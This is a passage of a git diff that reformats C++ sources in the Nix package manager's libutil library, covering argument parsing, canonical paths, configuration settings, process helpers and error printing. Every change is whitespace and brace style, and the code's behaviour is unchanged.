(std::string(*pos, 0, 1) == "-" && pos->size() == 2) { auto c = (*pos)[1]; auto i = shortFlags.find(c); - if (i == shortFlags.end()) return false; + if (i == shortFlags.end()) + return false; return process(std::string("-") + c, *i->second); } @@ -452,12 +463,11 @@ bool Args::processArgs(const Strings & args, bool finish) bool res = false; - if ((exp.handler.arity == ArityAny && finish) || - (exp.handler.arity != ArityAny && args.size() == exp.handler.arity)) - { + if ((exp.handler.arity == ArityAny && finish) + || (exp.handler.arity != ArityAny && args.size() == exp.handler.arity)) { std::vector ss; bool anyCompleted = false; - for (const auto &[n, s] : enumerate(args)) { + for (const auto & [n, s] : enumerate(args)) { if (auto prefix = rootArgs.needsCompletion(s)) { anyCompleted = true; ss.push_back(*prefix); @@ -479,11 +489,7 @@ bool Args::processArgs(const Strings & args, bool finish) except that it will only adjust the next and prev pointers of the list elements, meaning the actual contents don't move in memory. This is critical to prevent invalidating internal pointers! */ - processedArgs.splice( - processedArgs.end(), - expectedArgs, - expectedArgs.begin(), - ++expectedArgs.begin()); + processedArgs.splice(processedArgs.end(), expectedArgs, expectedArgs.begin(), ++expectedArgs.begin()); res = true; } @@ -501,7 +507,8 @@ nlohmann::json Args::toJSON() for (auto & [name, flag] : longFlags) { auto j = nlohmann::json::object(); j["hiddenCategory"] = hiddenCategories.count(flag->category) > 0; - if (flag->aliases.count(name)) continue; + if (flag->aliases.count(name)) + continue; if (flag->shortName) j["shortName"] = std::string(1, flag->shortName); if (flag->description != "") @@ -531,32 +538,34 @@ nlohmann::json Args::toJSON() res["flags"] = std::move(flags); res["args"] = std::move(args); auto s = doc(); - if (s != "") res.emplace("doc", stripIndentation(s)); + if (s != "") + res.emplace("doc", stripIndentation(s)); return res; } static void _completePath(AddCompletions & completions, std::string_view prefix, bool onlyDirs) { completions.setType(Completions::Type::Filenames); - #ifndef _WIN32 // TODO implement globbing completions on Windows +#ifndef _WIN32 // TODO implement globbing completions on Windows glob_t globbuf; int flags = GLOB_NOESCAPE; - #ifdef GLOB_ONLYDIR +# ifdef GLOB_ONLYDIR if (onlyDirs) flags |= GLOB_ONLYDIR; - #endif +# endif // using expandTilde here instead of GLOB_TILDE(_CHECK) so that ~ expands to /home/user/ if (glob((expandTilde(prefix) + "*").c_str(), flags, nullptr, &globbuf) == 0) { for (size_t i = 0; i < globbuf.gl_pathc; ++i) { if (onlyDirs) { auto st = stat(globbuf.gl_pathv[i]); - if (!S_ISDIR(st.st_mode)) continue; + if (!S_ISDIR(st.st_mode)) + continue; } completions.add(globbuf.gl_pathv[i]); } } globfree(&globbuf); - #endif +#endif } void Args::completePath(AddCompletions & completions, size_t, std::string_view prefix) @@ -569,53 +578,56 @@ void Args::completeDir(AddCompletions & completions, size_t, std::string_view pr _completePath(completions, prefix, true); } -Strings argvToStrings(int argc, char * * argv) +Strings argvToStrings(int argc, char ** argv) { Strings args; - argc--; argv++; - while (argc--) args.push_back(*argv++); + argc--; + argv++; + while (argc--) + args.push_back(*argv++); return args; } -std::optional Command::experimentalFeature () +std::optional Command::experimentalFeature() { - return { Xp::NixCommand }; + return {Xp::NixCommand}; } MultiCommand::MultiCommand(std::string_view commandName, const Commands & commands_) : commands(commands_) , commandName(commandName) { - expectArgs({ - .label = "subcommand", - .optional = true, - .handler = {[=,this](std::string s) { - assert(!command); - auto i = commands.find(s); - if (i == commands.end()) { - std::set commandNames; - for (auto & [name, _] : commands) - commandNames.insert(name); - auto suggestions = Suggestions::bestMatches(commandNames, s); - throw UsageError(suggestions, "'%s' is not a recognised command", s); - } - command = {s, i->second()}; - command->second->parent = this; - }}, - .completer = {[&](AddCompletions & completions, size_t, std::string_view prefix) { - for (auto & [name, command] : commands) - if (hasPrefix(name, prefix)) - completions.add(name); - }} - }); + expectArgs( + {.label = "subcommand", + .optional = true, + .handler = {[=, this](std::string s) { + assert(!command); + auto i = commands.find(s); + if (i == commands.end()) { + std::set commandNames; + for (auto & [name, _] : commands) + commandNames.insert(name); + auto suggestions = Suggestions::bestMatches(commandNames, s); + throw UsageError(suggestions, "'%s' is not a recognised command", s); + } + command = {s, i->second()}; + command->second->parent = this; + }}, + .completer = {[&](AddCompletions & completions, size_t, std::string_view prefix) { + for (auto & [name, command] : commands) + if (hasPrefix(name, prefix)) + completions.add(name); + }}}); categories[Command::catDefault] = "Available commands"; } bool MultiCommand::processFlag(Strings::iterator & pos, Strings::iterator end) { - if (Args::processFlag(pos, end)) return true; - if (command && command->second->processFlag(pos, end)) return true; + if (Args::processFlag(pos, end)) + return true; + if (command && command->second->processFlag(pos, end)) + return true; return false; } @@ -652,14 +664,15 @@ Strings::iterator MultiCommand::rewriteArgs(Strings & args, Strings::iterator po if (command) return command->second->rewriteArgs(args, pos); - if (aliasUsed || pos == args.end()) return pos; + if (aliasUsed || pos == args.end()) + return pos; auto arg = *pos; auto i = aliases.find(arg); - if (i == aliases.end()) return pos; + if (i == aliases.end()) + return pos; auto & info = i->second; if (info.status == AliasStatus::Deprecated) { - warn("'%s' is a deprecated alias for '%s'", - arg, concatStringsSep(" ", info.replacement)); + warn("'%s' is a deprecated alias for '%s'", arg, concatStringsSep(" ", info.replacement)); } pos = args.erase(pos); for (auto j = info.replacement.rbegin(); j != info.replacement.rend(); ++j) diff --git a/src/libutil/canon-path.cc b/src/libutil/canon-path.cc index 33ac700f0..d12440122 100644 --- a/src/libutil/canon-path.cc +++ b/src/libutil/canon-path.cc @@ -9,19 +9,18 @@ CanonPath CanonPath::root = CanonPath("/"); static std::string absPathPure(std::string_view path) { - return canonPathInner(path, [](auto &, auto &){}); + return canonPathInner(path, [](auto &, auto &) {}); } CanonPath::CanonPath(std::string_view raw) : path(absPathPure(concatStrings("/", raw))) -{ } +{ +} CanonPath::CanonPath(std::string_view raw, const CanonPath & root) - : path(absPathPure( - raw.size() > 0 && raw[0] == '/' - ? raw - : concatStrings(root.abs(), "/", raw))) -{ } + : path(absPathPure(raw.size() > 0 && raw[0] == '/' ? raw : concatStrings(root.abs(), "/", raw))) +{ +} CanonPath::CanonPath(const std::vector & elems) : path("/") @@ -32,7 +31,8 @@ CanonPath::CanonPath(const std::vector & elems) std::optional CanonPath::parent() const { - if (isRoot()) return std::nullopt; + if (isRoot()) + return std::nullopt; return CanonPath(unchecked_t(), path.substr(0, std::max((size_t) 1, path.rfind('/')))); } @@ -45,30 +45,31 @@ void CanonPath::pop() bool CanonPath::isWithin(const CanonPath & parent) const { return !( - path.size() < parent.path.size() - || path.substr(0, parent.path.size()) != parent.path - || (parent.path.size() > 1 && path.size() > parent.path.size() - && path[parent.path.size()] != '/')); + path.size() < parent.path.size() || path.substr(0, parent.path.size()) != parent.path + || (parent.path.size() > 1 && path.size() > parent.path.size() && path[parent.path.size()] != '/')); } CanonPath CanonPath::removePrefix(const CanonPath & prefix) const { assert(isWithin(prefix)); - if (prefix.isRoot()) return *this; - if (path.size() == prefix.path.size()) return root; + if (prefix.isRoot()) + return *this; + if (path.size() == prefix.path.size()) + return root; return CanonPath(unchecked_t(), path.substr(prefix.path.size())); } void CanonPath::extend(const CanonPath & x) { - if (x.isRoot()) return; + if (x.isRoot()) + return; if (isRoot()) path += x.rel(); else path += x.abs(); } -CanonPath CanonPath::operator / (const CanonPath & x) const +CanonPath CanonPath::operator/(const CanonPath & x) const { auto res = *this; res.extend(x); @@ -79,11 +80,12 @@ void CanonPath::push(std::string_view c) { assert(c.find('/') == c.npos); assert(c != "." && c != ".."); - if (!isRoot()) path += '/'; + if (!isRoot()) + path += '/'; path += c; } -CanonPath CanonPath::operator / (std::string_view c) const +CanonPath CanonPath::operator/(std::string_view c) const { auto res = *this; res.push(c); @@ -111,7 +113,7 @@ bool CanonPath::isAllowed(const std::set & allowed) const return false; } -std::ostream & operator << (std::ostream & stream, const CanonPath & path) +std::ostream & operator<<(std::ostream & stream, const CanonPath & path) { stream << path.abs(); return stream; @@ -122,7 +124,8 @@ std::string CanonPath::makeRelative(const CanonPath & path) const auto p1 = begin(); auto p2 = path.begin(); - for (; p1 != end() && p2 != path.end() && *p1 == *p2; ++p1, ++p2) ; + for (; p1 != end() && p2 != path.end() && *p1 == *p2; ++p1, ++p2) + ; if (p1 == end() && p2 == path.end()) return "."; @@ -132,11 +135,13 @@ std::string CanonPath::makeRelative(const CanonPath & path) const std::string res; while (p1 != end()) { ++p1; - if (!res.empty()) res += '/'; + if (!res.empty()) + res += '/'; res += ".."; } if (p2 != path.end()) { - if (!res.empty()) res += '/'; + if (!res.empty()) + res += '/'; res += p2.remaining; } return res; diff --git a/src/libutil/compute-levels.cc b/src/libutil/compute-levels.cc index dd221bd70..3d813805b 100644 --- a/src/libutil/compute-levels.cc +++ b/src/libutil/compute-levels.cc @@ -11,15 +11,16 @@ namespace nix { #if HAVE_LIBCPUID -StringSet computeLevels() { +StringSet computeLevels() +{ StringSet levels; struct cpu_id_t data; const std::map feature_strings = { - { FEATURE_LEVEL_X86_64_V1, "x86_64-v1" }, - { FEATURE_LEVEL_X86_64_V2, "x86_64-v2" }, - { FEATURE_LEVEL_X86_64_V3, "x86_64-v3" }, - { FEATURE_LEVEL_X86_64_V4, "x86_64-v4" }, + {FEATURE_LEVEL_X86_64_V1, "x86_64-v1"}, + {FEATURE_LEVEL_X86_64_V2, "x86_64-v2"}, + {FEATURE_LEVEL_X86_64_V3, "x86_64-v3"}, + {FEATURE_LEVEL_X86_64_V4, "x86_64-v4"}, }; if (cpu_identify(NULL, &data) < 0) @@ -34,7 +35,8 @@ StringSet computeLevels() { #else -StringSet computeLevels() { +StringSet computeLevels() +{ return StringSet{}; } diff --git a/src/libutil/configuration.cc b/src/libutil/configuration.cc index 0f5a6a432..193a007a2 100644 --- a/src/libutil/configuration.cc +++ b/src/libutil/configuration.cc @@ -16,7 +16,8 @@ namespace nix { Config::Config(StringMap initials) : AbstractConfig(std::move(initials)) -{ } +{ +} bool Config::set(const std::string & name, const std::string & value) { @@ -54,8 +55,7 @@ void Config::addSetting(AbstractSetting * setting) for (auto & alias : setting->aliases) { if (auto i = unknownSettings.find(alias); i != unknownSettings.end()) { if (set) - warn("setting '%s' is set, but it's an alias of '%s' which is also set", - alias, setting->name); + warn("setting '%s' is set, but it's an alias of '%s' which is also set", alias, setting->name); else { setting->set(std::move(i->second)); setting->overridden = true; @@ -68,7 +68,8 @@ void Config::addSetting(AbstractSetting * setting) AbstractConfig::AbstractConfig(StringMap initials) : unknownSettings(std::move(initials)) -{ } +{ +} void AbstractConfig::warnUnknownSettings() { @@ -87,21 +88,24 @@ void AbstractConfig::reapplyUnknownSettings() void Config::getSettings(std::map & res, bool overriddenOnly) { for (const auto & opt : _settings) - if (!opt.second.isAlias - && (!overriddenOnly || opt.second.setting->overridden) + if (!opt.second.isAlias && (!overriddenOnly || opt.second.setting->overridden) && experimentalFeatureSettings.isEnabled(opt.second.setting->experimentalFeature)) res.emplace(opt.first, SettingInfo{opt.second.setting->to_string(), opt.second.setting->description}); } - /** - * Parse configuration in `contents`, and also the configuration files included from there, with their location specified relative to `path`. + * Parse configuration in `contents`, and also the configuration files included from there, with their location + * specified relative to `path`. * * `contents` and `path` represent the file that is being parsed. * The result is only an intermediate list of key-value pairs of strings. * More parsing according to the settings-specific semantics is being done by `loadConfFile` in `libstore/globals.cc`. -*/ -static void parseConfigFiles(const std::string & contents, const std::string & path, std::vector> & parsedContents) { + */ +static void parseConfigFiles( + const std::string & contents, + const std::string & path, + std::vector> & parsedContents) +{ unsigned int pos = 0; while (pos < contents.size()) { @@ -114,7 +118,8 @@ static void parseConfigFiles(const std::string & contents, const std::string & p line = std::string(line, 0, hash); auto tokens = tokenizeString>(line); - if (tokens.empty()) continue; + if (tokens.empty()) + continue; if (tokens.size() < 2) throw UsageError("syntax error in configuration line '%1%' in '%2%'", line, path); @@ -160,7 +165,8 @@ static void parseConfigFiles(const std::string & contents, const std::string & p }; } -void AbstractConfig::applyConfig(const std::string & contents, const std::string & path) { +void AbstractConfig::applyConfig(const std::string & contents, const std::string & path) +{ std::vector> parsedContents; parseConfigFiles(contents, path, parsedContents); @@ -176,8 +182,7 @@ void AbstractConfig::applyConfig(const std::string & contents, const std::string // but at the time of writing it's not worth building that for just one thing for (const auto & [name, value] : parsedContents) { if (name != "experimental-features" && name != "extra-experimental-features") { - if ((name == "nix-path" || name == "extra-nix-path") - && getEnv("NIX_PATH").has_value()) { + if ((name == "nix-path" || name == "extra-nix-path") && getEnv("NIX_PATH").has_value()) { continue; } set(name, value); @@ -253,37 +258,42 @@ std::map AbstractSetting::toJSONObject() const return obj; } -void AbstractSetting::convertToArg(Args & args, const std::string & category) +void AbstractSetting::convertToArg(Args & args, const std::string & category) {} + +bool AbstractSetting::isOverridden() const { + return overridden; } - -bool AbstractSetting::isOverridden() const { return overridden; } - -template<> std::string BaseSetting::parse(const std::string & str) const +template<> +std::string BaseSetting::parse(const std::string & str) const { return str; } -template<> std::string BaseSetting::to_string() const +template<> +std::string BaseSetting::to_string() const { return value; } -template<> std::optional BaseSetting>::parse(const std::string & str) const +template<> +std::optional BaseSetting>::parse(const std::string & str) const { if (str == "") return std::nullopt; else - return { str }; + return {str}; } -template<> std::string BaseSetting>::to_string() const +template<> +std::string BaseSetting>::to_string() const { return value ? *value : ""; } -template<> bool BaseSetting::parse(const std::string & str) const +template<> +bool BaseSetting::parse(const std::string & str) const { if (str == "true" || str == "yes" || str == "1") return true; @@ -293,12 +303,14 @@ template<> bool BaseSetting::parse(const std::string & str) const throw UsageError("Boolean setting '%s' has invalid value '%s'", name, str); } -template<> std::string BaseSetting::to_string() const +template<> +std::string BaseSetting::to_string() const { return value ? "true" : "false"; } -template<> void BaseSetting::convertToArg(Args & args, const std::string & category) +template<> +void BaseSetting::convertToArg(Args & args, const std::string & category) { args.addFlag({ .longName = name, @@ -318,40 +330,48 @@ template<> void BaseSetting::convertToArg(Args & args, const std::string & }); } -template<> Strings BaseSetting::parse(const std::string & str) const +template<> +Strings BaseSetting::parse(const std::string & str) const { return tokenizeString(str); } -template<> void BaseSetting::appendOrSet(Strings newValue, bool append) +template<> +void BaseSetting::appendOrSet(Strings newValue, bool append) { - if (!append) value.clear(); - value.insert(value.end(), std::make_move_iterator(newValue.begin()), - std::make_move_iterator(newValue.end())); + if (!append) + value.clear(); + value.insert(value.end(), std::make_move_iterator(newValue.begin()), std::make_move_iterator(newValue.end())); } -template<> std::string BaseSetting::to_string() const +template<> +std::string BaseSetting::to_string() const { return concatStringsSep(" ", value); } -template<> StringSet BaseSetting::parse(const std::string & str) const +template<> +StringSet BaseSetting::parse(const std::string & str) const { return tokenizeString(str); } -template<> void BaseSetting::appendOrSet(StringSet newValue, bool append) +template<> +void BaseSetting::appendOrSet(StringSet newValue, bool append) { - if (!append) value.clear(); + if (!append) + value.clear(); value.insert(std::make_move_iterator(newValue.begin()), std::make_move_iterator(newValue.end())); } -template<> std::string BaseSetting::to_string() const +template<> +std::string BaseSetting::to_string() const { return concatStringsSep(" ", value); } -template<> std::set BaseSetting>::parse(const std::string & str) const +template<> +std::set BaseSetting>::parse(const std::string & str) const { std::set res; for (auto & s : tokenizeString(str)) { @@ -365,13 +385,16 @@ template<> std::set BaseSetting void BaseSetting>::appendOrSet(std::set newValue, bool append) +template<> +void BaseSetting>::appendOrSet(std::set newValue, bool append) { - if (!append) value.clear(); + if (!append) + value.clear(); value.insert(std::make_move_iterator(newValue.begin()), std::make_move_iterator(newValue.end())); } -template<> std::string BaseSetting>::to_string() const +template<> +std::string BaseSetting>::to_string() const { StringSet stringifiedXpFeatures; for (const auto & feature : value) @@ -379,7 +402,8 @@ template<> std::string BaseSetting>::to_string() c return concatStringsSep(" ", stringifiedXpFeatures); } -template<> StringMap BaseSetting::parse(const std::string & str) const +template<> +StringMap BaseSetting::parse(const std::string & str) const { StringMap res; for (const auto & s : tokenizeString(str)) { @@ -390,17 +414,23 @@ template<> StringMap BaseSetting::parse(const std::string & str) cons return res; } -template<> void BaseSetting::appendOrSet(StringMap newValue, bool append) +template<> +void BaseSetting::appendOrSet(StringMap newValue, bool append) { - if (!append) value.clear(); + if (!append) + value.clear(); value.insert(std::make_move_iterator(newValue.begin()), std::make_move_iterator(newValue.end())); } -template<> std::string BaseSetting::to_string() const +template<> +std::string BaseSetting::to_string() const { - return std::transform_reduce(value.cbegin(), value.cend(), std::string{}, - [](const auto & l, const auto &r) { return l + " " + r; }, - [](const auto & kvpair){ return kvpair.first + "=" + kvpair.second; }); + return std::transform_reduce( + value.cbegin(), + value.cend(), + std::string{}, + [](const auto & l, const auto & r) { return l + " " + r; }, + [](const auto & kvpair) { return kvpair.first + "=" + kvpair.second; }); } template class BaseSetting; @@ -424,7 +454,8 @@ static Path parsePath(const AbstractSetting & s, const std::string & str) return canonPath(str); } -PathSetting::PathSetting(Config * options, +PathSetting::PathSetting( + Config * options, const Path & def, const std::string & name, const std::string & description, @@ -439,8 +470,8 @@ Path PathSetting::parse(const std::string & str) const return parsePath(*this, str); } - -OptionalPathSetting::OptionalPathSetting(Config * options, +OptionalPathSetting::OptionalPathSetting( + Config * options, const std::optional & def, const std::string & name, const std::string & description, @@ -450,7 +481,6 @@ OptionalPathSetting::OptionalPathSetting(Config * options, options->addSetting(this); } - std::optional OptionalPathSetting::parse(const std::string & str) const { if (str == "") @@ -459,7 +489,7 @@ std::optional OptionalPathSetting::parse(const std::string & str) const return parsePath(*this, str); } -void OptionalPathSetting::operator =(const std::optional & v) +void OptionalPathSetting::operator=(const std::optional & v) { this->assign(v); } @@ -483,7 +513,8 @@ bool ExperimentalFeatureSettings::isEnabled(const std::optional & feature) const { - if (feature) require(*feature); + if (feature) + require(*feature); } } diff --git a/src/libutil/current-process.cc b/src/libutil/current-process.cc index 926714ae8..bce4e6f24 100644 --- a/src/libutil/current-process.cc +++ b/src/libutil/current-process.cc @@ -10,23 +10,24 @@ #include #ifdef __APPLE__ -# include +# include #endif #ifdef __linux__ -# include -# include "nix/util/cgroup.hh" -# include "nix/util/namespaces.hh" +# include +# include "nix/util/cgroup.hh" +# include "nix/util/namespaces.hh" #endif namespace nix { unsigned int getMaxCPU() { - #ifdef __linux__ +#ifdef __linux__ try { auto cgroupFS = getCgroupFS(); - if (!cgroupFS) return 0; + if (!cgroupFS) + return 0; auto cpuFile = *cgroupFS + "/" + getCurrentCgroup() + "/cpu.max"; @@ -40,17 +41,17 @@ unsigned int getMaxCPU() auto quota = cpuMaxParts[0]; auto period = cpuMaxParts[1]; if (quota != "max") - return std::ceil(std::stoi(quota) / std::stof(period)); - } catch (Error &) { ignoreExceptionInDestructor(lvlDebug); } - #endif + return std::ceil(std::stoi(quota) / std::stof(period)); + } catch (Error &) { + ignoreExceptionInDestructor(lvlDebug); + } +#endif return 0; } - ////////////////////////////////////////////////////////////////////// - #ifndef _WIN32 size_t savedStackSize = 0; @@ -68,9 +69,8 @@ void setStackSize(size_t stackSize) savedStackSize, stackSize, limit.rlim_max, - std::strerror(errno) - ).str() - ); + std::strerror(errno)) + .str()); } } } @@ -78,16 +78,16 @@ void setStackSize(size_t stackSize) void restoreProcessContext(bool restoreMounts) { - #ifndef _WIN32 +#ifndef _WIN32 unix::restoreSignals(); - #endif +#endif if (restoreMounts) { - #ifdef __linux__ +#ifdef __linux__ restoreMountNamespace(); - #endif +#endif } - #ifndef _WIN32 +#ifndef _WIN32 if (savedStackSize) { struct rlimit limit; if (getrlimit(RLIMIT_STACK, &limit) == 0) { @@ -95,29 +95,26 @@ void restoreProcessContext(bool restoreMounts) setrlimit(RLIMIT_STACK, &limit); } } - #endif +#endif } - ////////////////////////////////////////////////////////////////////// - std::optional getSelfExe() { - static auto cached = []() -> std::optional - { - #if defined(__linux__) || defined(__GNU__) + static auto cached = []() -> std::optional { +#if defined(__linux__) || defined(__GNU__) return readLink("/proc/self/exe"); - #elif defined(__APPLE__) +#elif defined(__APPLE__) char buf[1024]; uint32_t size = sizeof(buf); if (_NSGetExecutablePath(buf, &size) == 0) return buf; else return std::nullopt; - #else +#else return std::nullopt; - #endif +#endif }(); return cached; } diff --git a/src/libutil/english.cc b/src/libutil/english.cc index e697b8c30..2eda4ac46 100644 --- a/src/libutil/english.cc +++ b/src/libutil/english.cc @@ -2,11 +2,8 @@ namespace nix { -std::ostream & pluralize( - std::ostream & output, - unsigned int count, - const std::string_view single, - const std::string_view plural) +std::ostream & +pluralize(std::ostream & output, unsigned int count, const std::string_view single, const std::string_view plural) { if (count == 1) output << "1 " << single; diff --git a/src/libutil/error.cc b/src/libutil/error.cc index 0ceaa4e76..fe8934874 100644 --- a/src/libutil/error.cc +++ b/src/libutil/error.cc @@ -15,13 +15,14 @@ namespace nix { void BaseError::addTrace(std::shared_ptr && e, HintFmt hint, TracePrint print) { - err.traces.push_front(Trace { .pos = std::move(e), .hint = hint, .print = print }); + err.traces.push_front(Trace{.pos = std::move(e), .hint = hint, .print = print}); } void throwExceptionSelfCheck() { // This is meant to be caught in initLibUtil() - throw Error("C++ exception handling is broken. This would appear to be a problem with the way Nix was compiled and/or linked and/or loaded."); + throw Error( + "C++ exception handling is broken. This would appear to be a problem with the way Nix was compiled and/or linked and/or loaded."); } // c++ std::exception descendants must have a 'const char* what()' function. @@ -40,7 +41,7 @@ const std::string & BaseError::calcWhat() const std::optional ErrorInfo::programName = std::nullopt; -std::ostream & operator <<(std::ostream & os, const HintFmt & hf) +std::ostream & operator<<(std::ostream & os, const HintFmt & hf) { return os << hf.str(); } @@ -48,7 +49,7 @@ std::ostream & operator <<(std::ostream & os, const HintFmt & hf) /** * An arbitrarily defined value comparison for the purpose of using traces in the key of a sorted container. */ -inline std::strong_ordering operator<=>(const Trace& lhs, const Trace& rhs) +inline std::strong_ordering operator<=>(const Trace & lhs, const Trace & rhs) { // `std::shared_ptr` does not have value semantics for its comparison // functions, so we need to check for nulls and compare the dereferenced @@ -66,27 +67,16 @@ inline std::strong_ordering operator<=>(const Trace& lhs, const Trace& rhs) } // print lines of code to the ostream, indicating the error column. -void printCodeLines(std::ostream & out, - const std::string & prefix, - const Pos & errPos, - const LinesOfCode & loc) +void printCodeLines(std::ostream & out, const std::string & prefix, const Pos & errPos, const LinesOfCode & loc) { // previous line of code. if (loc.prevLineOfCode.has_value()) { - out << std::endl - << fmt("%1% %|2$5d|| %3%", - prefix, - (errPos.line - 1), - *loc.prevLineOfCode); + out << std::endl << fmt("%1% %|2$5d|| %3%", prefix, (errPos.line - 1), *loc.prevLineOfCode); } if (loc.errLineOfCode.has_value()) { // line of code containing the error. - out << std::endl - << fmt("%1% %|2$5d|| %3%", - prefix, - (errPos.line), - *loc.errLineOfCode); + out << std::endl << fmt("%1% %|2$5d|| %3%", prefix, (errPos.line), *loc.errLineOfCode); // error arrows for the column range. if (errPos.column > 0) { int start = errPos.column; @@ -97,21 +87,13 @@ void printCodeLines(std::ostream & out, std::string arrows("^"); - out << std::endl - << fmt("%1% |%2%" ANSI_RED "%3%" ANSI_NORMAL, - prefix, - spaces, - arrows); + out << std::endl << fmt("%1% |%2%" ANSI_RED "%3%" ANSI_NORMAL, prefix, spaces, arrows); } } // next line of code. if (loc.nextLineOfCode.has_value()) { - out << std::endl - << fmt("%1% %|2$5d|| %3%", - prefix, - (errPos.line + 1), - *loc.nextLineOfCode); + out << std::endl << fmt("%1% %|2$5d|| %3%", prefix, (errPos.line + 1), *loc.nextLineOfCode); } } @@ -122,10 +104,12 @@ static std::string indent(std::string_view indentFirst, std::string_view indentR while (!s.empty()) { auto end = s.find('\n'); - if (!first) res += "\n"; + if (!first) + res += "\n"; res += chomp(std::string(first ? indentFirst : indentRest) + std::string(s.substr(0, end))); first = false; - if (end == s.npos) break; + if (end == s.npos) + break; s = s.substr(end + 1); } @@ -146,7 +130,8 @@ static bool printUnknownLocations = getEnv("_NIX_EVAL_SHOW_UNKNOWN_LOCATIONS").h * * @return true if a position was printed. */ -static bool printPosMaybe(std::ostream & oss, std::string_view indent, const std::shared_ptr & pos) { +static bool printPosMaybe(std::ostream & oss, std::string_view indent, const std::shared_ptr & pos) +{ bool hasPos = pos && *pos; if (hasPos) { oss << indent << ANSI_BLUE << "at " ANSI_WARNING << *pos << ANSI_NORMAL << ":"; @@ -161,11 +146,7 @@ static bool printPosMaybe(std::ostream & oss, std::string_view indent, const std return hasPos; } -static void printTrace( - std::ostream & output, - const std::string_view & indent, - size_t & count, - const Trace & trace) +static void printTrace(std::ostream & output, const std::string_view & indent, size_t & count, const Trace & trace) { output << "\n" << "… " << trace.hint.str() << "\n"; @@ -188,7 +169,8 @@ void printSkippedTracesMaybe( printTrace(output, indent, count, trace); } } else { - output << "\n" << ANSI_WARNING "(" << skippedTraces.size() << " duplicate frames omitted)" ANSI_NORMAL << "\n"; + output << "\n" + << ANSI_WARNING "(" << skippedTraces.size() << " duplicate frames omitted)" ANSI_NORMAL << "\n"; // Clear the set of "seen" traces after printing a chunk of // `duplicate frames omitted`. // @@ -228,43 +210,43 @@ std::ostream & showErrorInfo(std::ostream & out, const ErrorInfo & einfo, bool s { std::string prefix; switch (einfo.level) { - case Verbosity::lvlError: { - prefix = ANSI_RED "error"; - break; - } - case Verbosity::lvlNotice: { - prefix = ANSI_RED "note"; - break; - } - case Verbosity::lvlWarn: { - if (einfo.isFromExpr) - prefix = ANSI_WARNING "evaluation warning"; - else - prefix = ANSI_WARNING "warning"; - break; - } - case Verbosity::lvlInfo: { - prefix = ANSI_GREEN "info"; - break; - } - case Verbosity::lvlTalkative: { - prefix = ANSI_GREEN "talk"; - break; - } - case Verbosity::lvlChatty: { - prefix = ANSI_GREEN "chat"; - break; - } - case Verbosity::lvlVomit: { - prefix = ANSI_GREEN "vomit"; - break; - } - case Verbosity::lvlDebug: { - prefix = ANSI_WARNING "debug"; - break; - } - default: - assert(false); + case Verbosity::lvlError: { + prefix = ANSI_RED "error"; + break; + } + case Verbosity::lvlNotice: { + prefix = ANSI_RED "note"; + break; + } + case Verbosity::lvlWarn: { + if (einfo.isFromExpr) + prefix = ANSI_WARNING "evaluation warning"; + else + prefix = ANSI_WARNING "warning"; + break; + } + case Verbosity::lvlInfo: { + prefix = ANSI_GREEN "info"; + break; + } + case Verbosity::lvlTalkative: { + prefix = ANSI_GREEN "talk"; + break; + } + case Verbosity::lvlChatty: { + prefix = ANSI_GREEN "chat"; + break; + } + case Verbosity::lvlVomit: { + prefix = ANSI_GREEN "vomit"; + break; + } + case Verbosity::lvlDebug: { + prefix = ANSI_WARNING "debug"; + break; + } + default: + assert(false); } // FIXME: show the program name as part of the trace? @@ -383,7 +365,8 @@ std::ostream & showErrorInfo(std::ostream & out, const ErrorInfo & einfo, bool s bool truncate = false; for (const auto & trace : einfo.traces) { - if (trace.hint.str().empty()) continue; + if (trace.hint.str().empty()) + continue; if (!showTrace && count > 3) { truncate = true; @@ -406,11 +389,13 @@ std::ostream & showErrorInfo(std::ostream & out, const ErrorInfo & einfo, bool s } } - printSkippedTracesMaybe(oss, ellipsisIndent, count, skippedTraces, tracesSeen); if (truncate) { - oss << "\n" << ANSI_WARNING "(stack trace truncated; use '--show-trace' to show the full, detailed trace)" ANSI_NORMAL << "\n"; + oss << "\n" + << ANSI_WARNING + "(stack trace truncated; use '--show-trace' to show the full, detailed trace)" ANSI_NORMAL + << "\n"; } oss << "\n" << prefix; @@ -422,9 +407,7 @@ std::ostream & showErrorInfo(std::ostream & out, const ErrorInfo & einfo, bool s auto suggestions = einfo.suggestions.trim(); if (!suggestions.suggestions.empty()) { - oss << "Did you mean " << - suggestions.trim() << - "?" << std::endl; + oss << "Did you mean " << suggestions.trim() << "?" << std::endl; } out << indent(prefix, std::string(filterANSIEscapes(prefix, true).size(), ' '), chomp(oss.str())); @@ -440,7 +423,8 @@ static void writeErr(std::string_view buf) while (!buf.empty()) { auto n = write(STDERR_FILENO, buf.data(), buf.size()); if (n < 0) { - if (errno == EINTR) continue; + if (errno == EINTR) + continue; abort(); } buf = buf.substr(n); @@ -449,7 +433,7 @@ static void writeErr(std::string_view buf) void panic(std::string_view msg) { - writeErr("\n\n" ANSI_RED "terminating due to unexpected unrecoverable internal error: " ANSI_NORMAL ); + writeErr("\n\n" ANSI_RED "terminating due to unexpected unrecoverable internal error: " ANSI_NORMAL); writeErr(msg); writeErr("\n"); abort(); diff --git a/src/libutil/experimental-features.cc b/src/libutil/experimental-features.cc index 348caa44e..636eaf14b 100644 --- a/src/libutil/experimental-features.cc +++ b/src/libutil/experimental-features.cc @@ -317,7 +317,7 @@ constexpr std::array xpFeatureDetails static_assert( []() constexpr { for (auto [index, feature] : enumerate(xpFeatureDetails)) - if (index != (size_t)feature.tag) + if (index != (size_t) feature.tag) return false; return true; }(), @@ -342,8 +342,8 @@ const std::optional parseExperimentalFeature(const std::str std::string_view showExperimentalFeature(const ExperimentalFeature tag) { - assert((size_t)tag < xpFeatureDetails.size()); - return xpFeatureDetails[(size_t)tag].name; + assert((size_t) tag < xpFeatureDetails.size()); + return xpFeatureDetails[(size_t) tag].name; } nlohmann::json documentExperimentalFeatures() @@ -352,7 +352,8 @@ nlohmann::json documentExperimentalFeatures() for (auto & xpFeature : xpFeatureDetails) { std::stringstream docOss; docOss << stripIndentation(xpFeature.description); - docOss << fmt("\nRefer to [%1% tracking issue](%2%) for feature tracking.", xpFeature.name, xpFeature.trackingUrl); + docOss << fmt( + "\nRefer to [%1% tracking issue](%2%) for feature tracking.", xpFeature.name, xpFeature.trackingUrl); res[std::string{xpFeature.name}] = trim(docOss.str()); } return (nlohmann::json) res; @@ -368,11 +369,14 @@ std::set parseFeatures(const std::set & rawFea } MissingExperimentalFeature::MissingExperimentalFeature(ExperimentalFeature feature) - : Error("experimental Nix feature '%1%' is disabled; add '--extra-experimental-features %1%' to enable it", showExperimentalFeature(feature)) + : Error( + "experimental Nix feature '%1%' is 